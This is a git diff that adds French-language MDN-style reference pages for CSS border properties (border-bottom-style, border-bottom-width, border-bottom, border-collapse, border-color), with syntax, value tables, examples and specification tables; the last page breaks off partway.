+    <td><code>solid</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: solid; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une ligne droite continue.</td>
+   </tr>
+   <tr>
+    <td><code>double</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: double; background-color: palegreen;"> </div>
+    </td>
+    <td>Deux lignes droites sont affichées dont la somme des épaisseurs correspond à la valeur fournie par {{cssxref("border-width")}} ou {{cssxref("border-bottom-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>groove</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: groove; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression qu'elle a été gravée dans le document. On obtient un effet opposé à <code>ridge</code>.</td>
+   </tr>
+   <tr>
+    <td><code>ridge</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: ridge; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression que la bordure ressort du document. L'effet obtenu est opposé à celui obtenu avec <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>inset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: inset; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D qui donne l'impression que la boîte est renfoncée dans le document (l'effet obtenu est opposé à celui obtenu avec <code>outset</code>). Lorsqu'elle est appliquée sur une cellule de tableau et que {{cssxref("border-collapse")}} vaut <code>collapsed</code>, cette valeur se comporte comme <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>outset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: outset; background-color: palegreen;"> </div>
+    </td>
+    <td>
+     <p>La bordure crée un effet 3D qui fait ressortir la boîte (l'effet est opposé à <code>inset</code>). Lorsqu'elle est utilisé sur une cellule de tableau avec {{cssxref("border-collapse")}} qui vaut <code>collapsed</code>, cette valeur se comporte comme <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* On applique un style sur le tableau */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* Des exemples pour border-bottom-style */
+.b1 {border-bottom-style:none;}
+.b2 {border-bottom-style:hidden;}
+.b3 {border-bottom-style:dotted;}
+.b4 {border-bottom-style:dashed;}
+.b5 {border-bottom-style:solid;}
+.b6 {border-bottom-style:double;}
+.b7 {border-bottom-style:groove;}
+.b8 {border-bottom-style:ridge;}
+.b9 {border-bottom-style:inset;}
+.b10 {border-bottom-style:outset;}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;petits points&lt;/td&gt;
+    &lt;td class="b4"&gt;tirets&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-bottom-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-bottom-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées au style des bordures :
+  <ul>
+   <li>{{cssxref("border-left-style")}}</li>
+   <li>{{cssxref("border-right-style")}}</li>
+   <li>{{cssxref("border-top-style")}}</li>
+   <li>{{cssxref("border-style")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure haute :
+  <ul>
+   <li>{{cssxref("border-bottom")}}</li>
+   <li>{{cssxref("border-bottom-color")}}</li>
+   <li>{{cssxref("border-bottom-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-bottom-width/index.html b/files/fr/web/css/border-bottom-width/index.html
new file mode 100644
index 0000000000..f1718f62d0
--- /dev/null
+++ b/files/fr/web/css/border-bottom-width/index.html
@@ -0,0 +1,163 @@
+---
+title: border-bottom-width
+slug: Web/CSS/border-bottom-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-bottom-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-bottom-width</code></strong> définit l'épaisseur de la bordure pour le côté bas d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Une valeur de longueur */
+/* Type &lt;length&gt;          */
+border-bottom-width: 10em;
+border-bottom-width: 3vmax;
+border-bottom-width: 6px;
+
+/* Valeurs avec un mot-clé */
+border-bottom-width: thin;
+border-bottom-width: medium;
+border-bottom-width: thick;
+
+/* Valeurs globales */
+border-bottom-width: inherit;
+border-bottom-width: initial;
+border-bottom-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>Une valeur de longueur ({{cssxref("&lt;length&gt;")}}) positive ou un mot-clé qui indique l'épaisseur de la bordure pour le bas de la boîte. Si la valeur est un mot-clé, ce doit être l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: thin; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure fine.</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: medium; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure moyenne.</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: thick; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure épaisse.</td>
+   </tr>
+  </tbody>
+ </table>
+ La spécification ne précise pas de façon exacte l'épaisseur correspondant à chacun de ces mots-clés (c'est donc à chaque implémentation de choisir). La spécification requiert toutefois que l'inégalité suivante soit respectée <code>thin ≤ medium ≤ thick</code> et que ces valeurs soient constantes pour un même document<code>.</code></dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.element1{
+  border-bottom: thick solid red;
+}
+.element2{
+  border-bottom: medium solid orange;
+}
+.element3{
+  border-bottom: thin solid green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="element1"&gt;
+  Une bordure épaisse rouge.
+&lt;/p&gt;
+
+&lt;p class="element2"&gt;
+  Une bordure moyenne orange.
+&lt;/p&gt;
+
+&lt;p class="element3"&gt;
+  Et une bordure fine verte.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left-width', 'border-bottom-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-bottom-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées à la largeur de la bordure :
+  <ul>
+   <li>{{cssxref("border-left-width")}},</li>
+   <li>{{cssxref("border-right-width")}},</li>
+   <li>{{cssxref("border-top-width")}},</li>
+   <li>{{cssxref("border-width")}}</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés CSS liées à la bordure du côté haut :
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-bottom-color")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-bottom/index.html b/files/fr/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..2a0c3e73cd
--- /dev/null
+++ b/files/fr/web/css/border-bottom/index.html
@@ -0,0 +1,126 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-bottom</code></strong> est une propriété raccourcie qui définit la bordure du côté bas d'un élément.</p>
+
+<p>C'est une propriété raccourcie qui synthétise :</p>
+
+<ul>
+ <li>{{cssxref("border-bottom-width")}},</li>
+ <li>{{cssxref("border-bottom-color")}},</li>
+ <li>{{cssxref("border-bottom-style")}}.</li>
+</ul>
+
+<p>Ces propriétés permettent de décrire la bordure du côté bas d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Comme pour les autres propriétés raccourcies, <code>border-bottom</code> définit toujours les valeurs de toutes les propriétés qu'elle peut définir, même si celles-ci ne sont pas indiquées. Pour les valeurs qui ne sont pas indiquées, on prendra les valeurs par défaut. Ainsi :</p>
+
+<pre class="brush:css">  border-bottom-style: dotted;
+  border-bottom: thick green;
+</pre>
+
+<p>est équivalent à :</p>
+
+<pre class="brush:css">  border-bottom-style: dotted;
+  border-bottom: none thick green;
+</pre>
+
+<p> et la valeur {{cssxref("border-bottom-style")}} fournie avant <code>border-bottom</code> est ignorée.</p>
+
+<p>La valeur par défaut de {{cssxref("border-bottom-style")}} étant <code>none</code>, si on ne définit pas le style de la bordure, on aura la valeur par défaut, c'est-à-dire qu'on aura aucune bordure.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed green;
+</pre>
+
+<p>Les trois valeurs de la propriété raccourcie peuvent être définies dans n'importe quel ordre et une ou deux d'entre elles peuvent être absentes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt; </code></dt>
+ <dd>Voir {{cssxref("border-bottom-width")}}.</dd>
+ <dt><code>&lt;br-style&gt; </code></dt>
+ <dd>Voir {{cssxref("border-bottom-style")}}.</dd>
+ <dt><code>&lt;color&gt; </code></dt>
+ <dd>Voir {{cssxref("border-bottom-color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  border-bottom: 3px dotted orange;
+} </pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  En passant elle prit sur un rayon un pot
+  de confiture portant cette étiquette,
+  « MARMELADE D’ORANGES. »
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification directe bien que la modification de valeurs pour {{cssxref("border-bottom-color")}} s'applique.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-bottom")}}</p>
diff --git a/files/fr/web/css/border-collapse/index.html b/files/fr/web/css/border-collapse/index.html
new file mode 100644
index 0000000000..746860e8fe
--- /dev/null
+++ b/files/fr/web/css/border-collapse/index.html
@@ -0,0 +1,152 @@
+---
+title: border-collapse
+slug: Web/CSS/border-collapse
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-collapse
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-collapse</code></strong> détermine si les bordures d'un tableau sont séparées ou fusionnées. Quand elles sont séparées, chaque cellule du tableau a ses propres bordures, distinctes. Quand elles sont fusionnées, les bordures des cellules sont partagées.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-collapse.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Le modèle des <em>bordures séparées</em> est celui qui est traditionnellement utilisé par HTML. Les cellules adjacente ont des bordures distinctes et la distance entre ces bordures est définie par la propriété {{cssxref("border-spacing")}}.</p>
+
+<p>Le modèle des <em>bordures fusionnées</em> permet que les cellules adjacentes partagent leurs bordures. Lorsqu'on utilise ce modèle, les valeurs <code>inset</code> et <code>outset</code> de {{cssxref("border-style")}} se comportent respectivement comme <code>groove</code> et <code>ridge</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+border-collapse: collapse;
+border-collapse: separate;
+
+/* Valeurs globales */
+border-collapse: inherit;
+border-collapse: initial;
+border-collapse: unset;
+</pre>
+
+<p>La propriété <code>border-collapse</code> est définie avec un seul mot-clé parmi ceux définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>collapse</code></dt>
+ <dd>Un mot-clé qui indique que le modèle des bordures fusionnées doit être utilisé.</dd>
+ <dt><code>separate</code></dt>
+ <dd>Un mot-clé qui indique que le modèle des bordures séparées doit être utilisé. C'est la valeur par défaut.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.collapse {
+  border-collapse: collapse;
+}
+.separate {
+  border-collapse: separate;
+}
+table {
+  display: inline-table;
+  margin: 1em;
+  border: dashed 6px;
+  border-width: 6px;
+}
+table th, table td {
+  border: solid 3px;
+}
+.fx { border-color: orange blue; }
+.gk { border-color: black red; }
+.ie { border-color: blue gold; }
+.tr { border-color: aqua; }
+.sa { border-color: silver blue; }
+.wk { border-color: gold blue; }
+.ch { border-color: red yellow green blue; }
+.bk { border-color: navy blue teal aqua; }
+.op { border-color: red; }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table class="separate"&gt;
+  &lt;caption&gt;&lt;code&gt;border-collapse: separate&lt;/code&gt;&lt;/caption&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;&lt;th&gt;Navigateur&lt;/th&gt; &lt;th&gt;Moteur de rendu&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="fx"&gt;Firefox&lt;/td&gt; &lt;td class="gk"&gt;Gecko&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="ie"&gt;Internet Explorer&lt;/td&gt; &lt;td class="tr"&gt;Trident&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="sa"&gt;Safari&lt;/td&gt; &lt;td class="wk"&gt;Webkit&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="ch"&gt;Chrome&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="op"&gt;Opera&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+&lt;table class="collapse"&gt;
+  &lt;caption&gt;&lt;code&gt;border-collapse: collapse&lt;/code&gt;&lt;/caption&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;&lt;th&gt;Navigateur&lt;/th&gt; &lt;th&gt;Moteur de rendu&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="fx"&gt;Firefox&lt;/td&gt; &lt;td class="gk"&gt;Gecko&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="ie"&gt;Internet Explorer&lt;/td&gt; &lt;td class="tr"&gt;Trident&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="sa"&gt;Safari&lt;/td&gt; &lt;td class="wk"&gt;Webkit&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="ch"&gt;Chrome&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;&lt;td class="op"&gt;Opera&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 400, 300)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'tables.html#borders', 'border-collapse')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-collapse")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-spacing")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>L'élément HTML {{HTMLElement("table")}} impacté <code>border-collapse</code>.</li>
+</ul>
diff --git a/files/fr/web/css/border-color/index.html b/files/fr/web/css/border-color/index.html
new file mode 100644
index 0000000000..c1adde982e
--- /dev/null
+++ b/files/fr/web/css/border-color/index.html
@@ -0,0 +1,198 @@
+---
+title: border-color
+slug: Web/CSS/border-color
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/border-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>border-color</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de définir la couleur de la bordure sur les quatre côtés de la boîte de bordure d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Chaque côté peut être paramétré individuellement grâce aux propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} et {{cssxref("border-left-color")}} ou, si on utilise les propriétés logiques : {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start-color")}} et {{cssxref("border-inline-end-color")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* border-color : Une valeur        */
+/* Une valeur pour les quatre côtés */
+border-color: red;
+
+/* border-color : Deux valeurs         */
+/* Première valeur : côtés horizontaux */
+/* Seconde valeur : côtés verticaux    */
+border-color: red #f015ca;
+
+/* border-color : Trois valeurs        */
+/* Première valeur : côté haut         */
+/* Deuxième valeur : côtés verticaux */
+/* Troisième valeur : côté bas         */
+border-color: red yellow green;
+
+/* border-color : Quatre valeurs  */
+/* Première valeur : côté haut    */
+/* Deuxième valeur : côté droit   */
+/* Troisième valeur : côté bas    */
+/* Quatrième valeur : côté gauche */
+border-color: red yellow green blue;
+
+/* Valeurs globales */
+border-color: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;color&gt;")}} qui indique la couleur qu'on souhaite appliquer sur un ou plusieurs côtés de la boîte de bordure.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Un mot-clé qui indique que les quatre valeurs sont héritées depuis la valeur calculée de la propriété pour l'élément parent.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#unevaleur {
+  border-color: red;
+}
+
+#horzvert {
+  border-color: gold red;
+}
+
+#hauthoribas {
+  border-color: red cyan gold;
+}
+
+#hdbg {
+  border-color: red cyan black gold;
+}
+
+/* Set width and style for all divs */
+div {
+  border: solid 0.3em;
+  width: auto;
+  margin: 0.5em;
+  padding: 0.5em;
+}
+
+ul {
+  margin: 0;
+  list-style: none;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="unevaleur"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: red;&lt;/code&gt; équivalent à&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: red;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="horzvert"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: gold red;&lt;/code&gt; équivalent à&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: gold;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: gold;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: red;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="hauthoribas"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: red cyan gold;&lt;/code&gt; équivalent à&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: cyan;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: gold;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: cyan;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="hdbg"&gt;
+  &lt;p&gt;&lt;code&gt;border-color: red cyan black gold;&lt;/code&gt; équivalent à&lt;/p&gt;
+  &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-right-color: cyan;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-bottom-color: black;&lt;/code&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;code&gt;border-left-color: gold;&lt;/code&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 600, 300)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#logical-shorthand-keyword")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Ajout du mot-clé <code>logical</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Backgrounds", "#border-color", "border-color")}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Le mot-clé <code>transparent</code> a été retiré pour être ajouté au type {{cssxref("&lt;color&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html#border-color-properties", "border-color")}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Cette propriété est désormais une propriété raccourcie.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#border-color", "border-color")}}</td>
